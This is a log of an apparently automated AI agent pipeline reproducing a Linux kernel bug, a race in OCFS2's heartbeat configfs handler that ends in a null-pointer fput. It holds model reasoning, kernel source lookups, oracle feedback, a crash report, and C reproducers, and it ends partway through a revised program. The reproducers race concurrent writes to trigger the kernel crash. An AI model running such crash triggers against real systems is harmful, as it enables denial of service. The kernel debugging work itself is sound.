181/4 2026/09/04 20:57 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 73681
							output: 46
							thoughts: 321
						

Thoughts:
**My Thought Process Regarding Cluster Node Configuration Failures**

Alright, let's break down what I'm seeing here with these cluster node configuration failures. My immediate attention is drawn to the `o2nm_node_num_store` function and the critical checks within it. The code clearly states, lines 204-205, that I *must* have the `O2NM_NODE_ATTR_ADDRESS` and `O2NM_NODE_ATTR_PORT` attributes set before I can successfully write to the `num` attribute. If either of those attributes isn't present, I'm going to hit an `-EINVAL` return, which is exactly what's happening.

Now, the reproducer output is painting a rather telling picture:

*   It shows a failure when trying to write to `/sys/kernel/config/cluster/mycluster/node/mynode/num`. This aligns perfectly with my understanding of the `o2nm_node_num_store` logic – the prerequisites for writing `num` weren't met.
*   Crucially, *after* the `num` write failed, it then proceeds to successfully write to `ipv4_port` and `ipv4_address`. This sequence is the exact inverse of what the kernel expects. The reproducer is attempting to write `num` *before* it has even established the network address and port information, which is why the initial `num` write fails with "Invalid argument."

This leads me to a subsequent failure: the attempt to write to `/sys/kernel/config/cluster/mycluster/node/mynode/local` also fails with "Invalid argument." This strongly suggests that the failure to correctly configure the node's address and port (due to the incorrect write order) is cascading and preventing other node attributes, like `local`, from being set successfully. I'll need to investigate the `o2nm_node_local_store` function next to understand its dependencies and how the earlier failure is impacting its operation.


182/4 2026/09/04 20:57 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_local_store]

Results:
map[SourceCode: 323:	static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
 324:					     size_t count)
 325:	{
 326:		struct o2nm_node *node = to_o2nm_node(item);
 327:		struct o2nm_cluster *cluster;
 328:		unsigned long tmp;
 329:		char *p = (char *)page;
 330:		ssize_t ret;
 331:	
 332:		tmp = simple_strtoul(p, &p, 0);
 333:		if (!p || (*p && (*p != '\n')))
 334:			return -EINVAL;
 335:	
 336:		tmp = !!tmp; /* boolean of whether this node wants to be local */
 337:	
 338:		/* setting local turns on networking rx for now so we require having
 339:		 * set everything else first */
 340:		if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
 341:		    !test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
 342:		    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
 343:			return -EINVAL; /* XXX */
 344:	
 345:		o2nm_lock_subsystem();
 346:		cluster = to_o2nm_cluster_from_node(node);
 347:		if (!cluster) {
 348:			ret = -EINVAL;
 349:			goto out;
 350:		}
 351:	
 352:		/* the only failure case is trying to set a new local node
 353:		 * when a different one is already set */
 354:		if (tmp && tmp == cluster->cl_has_local &&
 355:		    cluster->cl_local_node != node->nd_num) {
 356:			ret = -EBUSY;
 357:			goto out;
 358:		}
 359:	
 360:		/* bring up the rx thread if we're setting the new local node. */
 361:		if (tmp && !cluster->cl_has_local) {
 362:			ret = o2net_start_listening(node);
 363:			if (ret)
 364:				goto out;
 365:		}
 366:	
 367:		if (!tmp && cluster->cl_has_local &&
 368:		    cluster->cl_local_node == node->nd_num) {
 369:			o2net_stop_listening(node);
 370:			cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
 371:		}
 372:	
 373:		node->nd_local = tmp;
 374:		if (node->nd_local) {
 375:			cluster->cl_has_local = tmp;
 376:			cluster->cl_local_node = node->nd_num;
 377:		}
 378:	
 379:		ret = count;
 380:	
 381:	out:
 382:		o2nm_unlock_subsystem();
 383:		return ret;
 384:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

183/4 2026/09/04 20:57 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 75004
							output: 44
							thoughts: 215
						

Thoughts:
**My Thought Process Unpacking the `o2nm_node_local_store` Failure**

Right, so I'm looking at this `o2nm_node_local_store` function, and I immediately see a critical check at lines 340-342. It's asserting that the `O2NM_NODE_ATTR_ADDRESS`, `O2NM_NODE_ATTR_NUM`, and `O2NM_NODE_ATTR_PORT` attributes *must* be set for the operation to proceed. If any of these aren't set, it's a hard `-EINVAL`.

Now, my investigation has revealed that the `num` attribute failed to write. This is key, because it directly means that the `O2NM_NODE_ATTR_NUM` bit is *not* set in `node->nd_set_attributes`.

The consequence of this is immediate and logical: because `O2NM_NODE_ATTR_NUM` isn't set, the `o2nm_node_local_store` function itself will fail at that very check.

And here's where it gets even more interesting – if `o2nm_node_local_store` fails, it's highly probable that `o2nm_this_node()` isn't going to return the correct node number for the current node. Instead, it's likely to default to `O2NM_MAX_NODES`. I need to verify this assumption by diving into the implementation of `o2nm_this_node()` next. That's the logical next step to confirm the cascading effect of this initial `num` write failure.


184/4 2026/09/04 20:58 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_this_node]

Results:
map[SourceCode: 131:	u8 o2nm_this_node(void)
 132:	{
 133:		u8 node_num = O2NM_MAX_NODES;
 134:	
 135:		if (o2nm_single_cluster && o2nm_single_cluster->cl_has_local)
 136:			node_num = o2nm_single_cluster->cl_local_node;
 137:	
 138:		return node_num;
 139:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

185/4 2026/09/04 20:58 llm repro-oracle
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 75418
							output: 806
							thoughts: 5076
						

Thoughts:
**Reproducer Failure Analysis: OCFS2 TOCTOU Race Condition in `o2hb_region_dev_store`**

I've been investigating why the provided reproducer failed to trigger the expected crash related to a null-pointer dereference in `fput`. My analysis indicates that the reproducer's failure to trigger the bug stems from an incorrect initialization order of OCFS2 node attributes, which prevents the vulnerable code path from being reached.

Here's a breakdown of my thought process:

1.  **Initial Observation:** I noticed that `o2nm_this_node()` was returning `O2NM_MAX_NODES`. My understanding is that this value signifies that the local node hasn't been properly configured, specifically that the `cl_has_local` flag isn't set. This flag, in turn, should be set when the `local` attribute is successfully written with a value of `1`.

2.  **Tracing the Failure:** The output clearly showed that the write to `local` failed with `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument`. The reproducer's attempt to write to `num` also failed with `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument`. This suggested a dependency issue.

3.  **Examining the Write Order:** By carefully inspecting the order of operations in the reproducer's output, I saw this sequence:
    *   Write to `num` (failed)
    *   Write to `ipv4_port`
    *   Write to `ipv4_address`
    *   Write to `local` (failed)

4.  **Identifying the Constraint Violation:** I then delved into the kernel source code for OCFS2 cluster node management (`fs/ocfs2/cluster/nodemanager.c`). I found that the `o2nm_node_num_store()` function, which handles writes to the `num` attribute, has a critical check:
    ```c
    if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
        !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
        return -EINVAL; /* XXX */
    ```
    This means `num` *cannot* be set until both `ipv4_address` and `ipv4_port` have been successfully written. The reproducer violated this by attempting to write `num` *before* `ipv4_address` and `ipv4_port`. This explains why the write to `num` failed with `Invalid argument`.

5.  **Cascading Failure:** Following this logic, I checked `o2nm_node_local_store()`, which handles writes to the `local` attribute. It has the following dependency check:
    ```c
    if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
        !test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
        !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
        return -EINVAL; /* XXX */
    ```
    Since `num` failed to be set (due to the earlier violation), the write to `local` also failed with `Invalid argument`.

6.  **Preventing the Race Condition:** The consequence of `local` not being set is that `o2nm_this_node()` correctly returns `O2NM_MAX_NODES`. This leads directly to an early exit within `o2hb_region_dev_store()`:
    ```c
    1792:	/* We can't heartbeat without having had our node number
    1793:	 * configured yet. */
    1794:	if (o2nm_this_node() == O2NM_MAX_NODES)
    1795:		return -EINVAL;
    ```
    This check causes `o2hb_region_dev_store()` to return `-EINVAL` before it even reaches the section of code where the TOCTOU (Time-of-check to time-of-use) race condition exists. The race condition, as I understand it, occurs when two threads concurrently attempt to open a block device for heartbeat regions. Both threads check if `reg->hr_bdev_file` is NULL, then both open the device and assign their newly opened file pointer to `reg->hr_bdev_file`. Subsequently, when one thread encounters an error (like a block size mismatch) and goes to clean up, it calls `fput(reg->hr_bdev_file)`. If the other thread has already overwritten `reg->hr_bdev_file` with its own pointer, the first thread might `fput` the wrong file. More critically, if the cleanup path itself sets `reg->hr_bdev_file` to NULL *after* the other thread has already read it for its own cleanup, the second thread could end up calling `fput(NULL)`, leading to the observed KASAN null-pointer-dereference.

7.  **Reproducer Fix Requirements:** To trigger the actual bug, the reproducer needs to be modified to:
    *   **Correct the initialization order:** The sequence must be: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to `1`).
    *   **Induce a failure in `o2hb_region_dev_store`:** The bug relies on threads failing *after* they've assigned a file pointer to `reg->hr_bdev_file` but *before* they complete successfully. A reliable way to achieve this is to ensure the `sectsize != reg->hr_block_bytes` check fails. This can be done by writing a `block_bytes` value (e.g., `1024`) that is different from the actual logical block size of the block device used (which is often `512`). This failure will cause the function to jump to the `out` label, where the race condition cleanup occurs.
    *   **Maintain concurrent writes:** The core bug is a race, so the concurrent writes to the `dev` attribute are still necessary once the node initialization is correct.

In essence, the reproducer's current configuration actively prevents the race condition by failing too early due to incorrect attribute ordering. By fixing this order and ensuring a controlled failure within `o2hb_region_dev_store`, the intended bug should be reliably triggered.


186/4 2026/09/04 20:59 tool set-results
0m Args:
map[Feedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.

From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```

The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
	if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
	    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
		return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.

When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.

The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
	fput(reg->hr_bdev_file);
	reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.

To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ProbePassed:false TerminalError: TitleMatches:false]

Results:
map[Feedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.

From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```

The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
	if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
	    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
		return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.

When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.

The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
	fput(reg->hr_bdev_file);
	reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.

To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ProbePassed:false TerminalError: TitleMatches:false]

187/3 2026/09/04 20:59 action loop-controller
0m Results:
map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.

From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```

The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
	if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
	    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
		return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.

When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.

The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
	fput(reg->hr_bdev_file);
	reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.

To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

188/2 2026/09/04 20:59 iteration 2
2m
189/3 2026/09/04 20:59 action If
0m Args:
map[OracleFeedback:The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.

From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```

The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
	if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
	    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
		return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.

When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.

The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
	fput(reg->hr_bdev_file);
	reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.

To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race.]

190/4 2026/09/04 20:59 agent strategy-refiner
0m Model:
deep-reasoning

Instruction:
You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.

=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.

=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

Current Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```
Feedback: The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.

From the console output:
```
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777\n' to .../ipv4_port
[+] Wrote '127.0.0.1\n' to .../ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
```

The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`. However, `o2nm_node_num_store()` in `fs/ocfs2/cluster/nodemanager.c` explicitly requires the address and port to be set first:
```c
	if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
	    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
		return -EINVAL;
```
Because `num` fails, the subsequent write to `local` also fails in `o2nm_node_local_store()` (which requires `num` to be set). Since `local` is not set, `o2nm_this_node()` returns `O2NM_MAX_NODES`.

When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.

The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
	fput(reg->hr_bdev_file);
	reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.

To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race.

Reply:
An analysis of the feedback reveals that the previous reproduction attempt failed because the OCFS2 node configuration was not initialized in the correct order. 

Specifically, `o2nm_node_num_store()` requires `ipv4_address` and `ipv4_port` to be set *before* `num` can be written. Because the previous reproducer wrote `num` first, it failed, which subsequently caused the write to `local` to fail. As a result, `o2nm_this_node()` returned `O2NM_MAX_NODES`, causing `o2hb_region_dev_store()` to return `-EINVAL` early and completely bypass the vulnerable code.

To fix this, we simply need to reorder the initialization sequence: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local`. We will also use a robust `write_file` helper to ensure the writes succeed and to catch any potential errors.

Here is the updated C reproducer:

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
